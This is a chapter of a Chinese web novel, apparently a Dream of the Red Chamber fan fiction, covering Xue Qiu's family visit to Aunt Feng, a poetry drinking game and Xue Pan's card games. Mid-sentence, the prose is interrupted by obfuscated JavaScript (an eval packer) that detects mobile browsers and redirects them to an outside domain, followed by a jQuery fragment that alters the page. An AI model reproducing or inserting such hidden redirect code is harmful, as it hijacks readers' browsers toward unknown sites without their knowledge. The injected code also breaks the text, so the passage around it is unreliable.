“是，那时候老爷刚……虯儿又不知什么时候才能回来，家里没个能主事的人，宝钗心里着急，听说要给公主郡主选伴读，觉得是一条出路，就把名字报上了。”薛母低着头说道。 这是他们商量好的说辞，虽然他们都不觉得宝钗有什么问题，但在这个时代，女孩子太有野心总是容易为人诟病，倒不如推说形势所迫，还能给宝钗立个大义人设，再说这也不是假的，在薛虯回来之前，宝钗的确是这么想的。 “好孩子。”冯氏怜惜地拍拍宝钗的手，想了想说道：“既然如此，也不失为宝钗的一个机会，我瞧她人品相貌都是顶尖，未必没有中选的机会，改日我回娘家问一问。” 冯氏出身官宦世家，父亲官居正二品，她说回家问问，便是要看能不能替宝钗疏通的意思。 薛母脸颊发红：“怎好劳烦亲家伯父？” 冯氏便笑：“这么大岁数了，脸皮还和小时候一样薄，动不动就脸红。” 话虽这么说，心中也不无感慨，嫁人多年还能保持少女心性，说明妹夫将她保护得非常好，若妹夫没有英年早逝，这妹妹过得合该是神仙日子。 殊不知薛虯也看得啧啧称奇，薛母和冯氏关系这般好，怎的原著里薛家没有住到王家，反而住到不算亲近的贾家去呢？ 不等他深思，冯氏的目光又落到他身上，上下打量一回，眼中露出赞叹之色：“这便是虯儿吧。” 薛虯拱手为礼：“外甥薛虯见过舅母。” “快别多礼！”冯氏亲自扶他起来，笑道，“果然是少年才俊，比我那两个孽障强多了。” 冯氏膝下只有一子，名为王义，今年十七岁，在京郊的松山书院求学，成绩很不错，已经过了秀才考试，正在准备明年的举人考试，据说希望很大。 另一个“孽障”指的则是王仁，他并非冯氏亲生，而是王家族长、大老爷王子朔的儿子，只因王子朔夫妇不在京城，暂时由王子腾和冯氏照管，冯氏将他与王义一起称呼，便是表示亲密之意。 可见冯氏此人极会说话，若叫王仁听见，必定受用。 冯氏又打量薛虯一回，笑着与薛母说：“如今瞧着好多了。” 薛母含笑颔首：“到家这些日子再没发过病，便是一点小病痛也没有，我瞧着比一般人还强些。” “那就好！”冯氏十分欣慰，又叮嘱道，“还是得好生将养，莫要仗着身子好了便一味作践，日后后悔也来不及了。” 这是好话，薛虯并不觉得不耐，认真应下。 冯氏越发欢喜，只觉得小姑子和妹夫教导有方，一儿一女都这般出色。 但等看到薛蟠，想到他过去的丰功伟绩，冯氏可疑地沉默了。 薛蟠眼巴巴看着冯氏，等着即将到来的夸奖。 冯氏：“……” 冯氏笑道：“蟠哥儿长得真高，身子骨也好，你是怎么养孩子的，个个都这么好？” 薛蟠顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14726400|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时乐开了花，薛母也美滋滋，谦虚道：“跟我没有关系，是他打小爱玩爱闹，吃得也多，不知不觉就长成这样了。” 薛蟠骄傲地挺起胸膛，是的，他是靠自己努力！ 众人：“………” 这到底有什么好骄傲的？ 薛虯与薛蟠见过长辈，便不能在后院呆着了，由丫鬟领着去外院找王仁和王义。 是的，今日松山书院休沐，王义正好在家，只是男女有别，虽然宝钗还小，也到了男女大防的时候，二人不好冒犯，便没有去正院相见，而是在外院设宴等候。 王义长相白净斯文，是个沉稳内敛的少年，因为比薛虯和薛蟠大了几岁，对他们非常照顾。 王仁略有些瘦，眼下带着青黑之色，一瞧便知是沉迷酒色之故，人有些过分的活泛。 陌生的兄弟几人相见，却并不觉得尴尬，世家子弟嘛，与陌生人交往是必修功课，几句话就熟络起来。 席间王仁提议玩游戏，众人便开始行酒令。 本来想玩划拳或者骰子的王仁：“……” 行酒令是一种酒桌助兴游戏，席间推举一人为令官，余者听令轮流对诗、联语或猜谜等游戏，违令者或负者罚饮②。也有简单的行令方式，譬如猜拳，多用于不大读书的平民百姓。 他们行酒令自然要对诗。 薛虯是不怕的，他虽然不考功名，但该读的书一点没少，不敢说多有才华，做出几首看得过眼的诗不成问题。王义也稀松平常，文人墨客嘛，哪能没有一点诗才？更何况科举考试也要写诗。 王仁就比较尴尬了，他不爱念书，也没什么急智，实在不喜欢这样的场合，好在还有个人跟他做伴。 王仁在桌下扯扯薛蟠的衣袖，小声道：“让他们俩玩这个，咱们玩别的去吧？” 薛蟠：“为什么？” 王仁：“……” 王仁：这还用问？ 他无语道：“咱们俩又不会，听他们对诗多无趣，不如去玩点有意思的。” 他可是听说了，姑母家的这个表弟不学无术，大字只认识一箩筐，书也没读过几本，镇日里招猫逗狗、惹是生非，可能比他还不如，他都不喜欢这样的场合，难道薛蟠能喜欢？ 薛蟠只是诧异地看了他一眼，眼神中满是同情：“你连这都不会？” 薛蟠：我以为我已经够菜了，没想到有人比我还菜。 顿时就骄傲了呢！ 挺胸.jpg 王仁：“？” 王仁：“？？？” 薛蟠不止是吹牛，轮到他的时候，他是真的做了一首诗出来，虽然十分稚嫩，听起来有点像打油诗，但的确是一首诗无疑。 王仁：“？？？” 不是，早知道江南文风昌盛，但已经昌盛到这个地步了吗？一个传说中不学无术的纨绔子弟都能对诗，那对不出诗的他算什么？ 就连王义也陷入沉思，觉得自己之前太过自大了，以为在松山书院名列前茅就已经很好，殊不知山外有山人外有人，江南才子多如牛毛，他还要更谦逊、更努力一些才行。 这是一个美妙的误会。 薛蟠之所以能表现得这么好，纯粹是薛虯压着他读了好几个月的书，后半程还逼着他背了许多诗词，所谓临阵磨枪不快也光，背了那么多东西，即便只是囫囵吞枣，也足够他做出一首诗了。 而王仁和王义对薛蟠的认识还在数月之前，于是认知便有了偏差，也有了这次误会。 此后王义收起那一点点懈怠之心，一门心思钻研学问，在不到三十的年纪考中进士，可以说年轻有为。后来接触多了江南学子，才知道他们学问是好，却远没有想象中那么夸张，信中与薛虯说起此事，才知当初是误会一场，真是哭也不是笑也不是。 此时王义尚不知后来之事，因为江南文人水平之高受到了一点打击，但很快振作起来，并且燃烧起熊熊斗志——不都是一个鼻子两个眼，不信学不过南方人！ 而薛蟠对了两局诗后，也逐渐黔驴技穷，觉得没什么意思，跟薛仁带着小厮玩叶子牌去了。 这还是薛蟠提议的，他当日的感觉并没有错，薛虯就是有很多赢牌技巧，薛蟠每学会一个，还没来得及高兴，薛虯就会马上抛出下一个，且描述得十分诱人，勾得薛蟠心痒难耐，只能丢盔卸甲，背更多的书来换。 这些日子下来，他背了一大堆书，也学到了许多技巧，自觉牌技大增，正愁没个发挥的地方呢。 跟小厮玩忒没趣，一个个只会让着他，他又不是从前牌技一般，靠别人让才能赢的菜鸟，现在他是薛·钮祜禄·蟠，实力强得可怕，让牌是对他的侮辱！ 综上所述，薛蟠很想跟小厮以外的人打叶子牌，好展示一下他高超的技术，正好王仁想玩别的游戏，两个人一拍即合。 王仁也很高兴，爱吃喝玩乐嘛，自觉打叶子牌也不错，向来都是赢得多输得少，还能输给一个小毛孩吗？ 然后他就输了。 跟当日的薛蟠一样惨（薛蟠：？）。 可把薛蟠高兴坏了，回去的路上还在兴奋。看得众人忍俊不禁。 薛虯好笑地问：“还要学吗？” 薛蟠笑容一顿，脸皱成了苦瓜，十分纠结。 薛虯心中无奈：“你便这般不喜读书吗？” 都已经几个月了，薛虯的计划稳步进行。先生在薛蟠的适应范围内一点点给他增加功课，薛蟠适应地很好。如今他已经能正常推进教学进度、上课认真听讲、功课按时完成，虽不是多么优秀，但也是个合格的学生了。 可是薛虯还是一如既往不爱读书，虽然被薛虯压着读进去了，但是每每表现得非常痛苦。 这样不行。 人生固然需要有所成就，但对世界的体验和感知才是最重要的。若成功要以痛苦浇筑，那实在大可不必。更何况薛家对薛蟠并没有很高的要求，只要他多读几本书，知道一些道理，出去不被人笑话也就罢了，并不指望他靠读书考功名。 或许他也该问问薛蟠的想法。 薛虯沉吟片刻，问道：“若不以读书做交换，你想用什么作为交换？” 薛蟠眼睛一亮：“我可以自己选吗？” 薛虯呵呵一笑：“你先说来听听。” 若是以玩乐来换，薛虯能答应才怪！ 薛蟠遗憾地叹了一声，显然刚才真是这么想的，不过明智地放弃了。挠头想了想，说：“如果一定要拿什么换，那就练武吧。” 薛虯诧异：“你喜欢练武？” 薛蟠眨巴着大眼睛点头。 薛虯：“……可是父亲从前请武师父教你功夫，你将人都气跑了，父亲还以为你不喜欢练武，后来便没有再请过了。” 薛蟠撇撇嘴：“我才不是气跑他们，是他们能力不行，教不了我。” 薛虯做洗耳恭听状：“他们哪里不行？” 薛蟠支支吾吾说不出话来。 薛虯：“你得告诉我，日后我为你请武师父才能知道怎么选。” 薛蟠也知道这个道理，但他也只是模模糊糊觉得不适合、不喜欢，却形容不出自己的感受，想了半天也不知道该怎么说。 “罢了。”薛虯道，“你那时候还小，说不明白也是有的，我请几个武先生回来，你先试一试便是了。只是练武需要从小的功底，你……” 薛蟠急急打断他的话：“我每天都在坚持打拳和站桩。” 薛虯诧异地看他一眼，微微颔首：“那你回去打给我看一下。” 薛蟠兴奋地点头。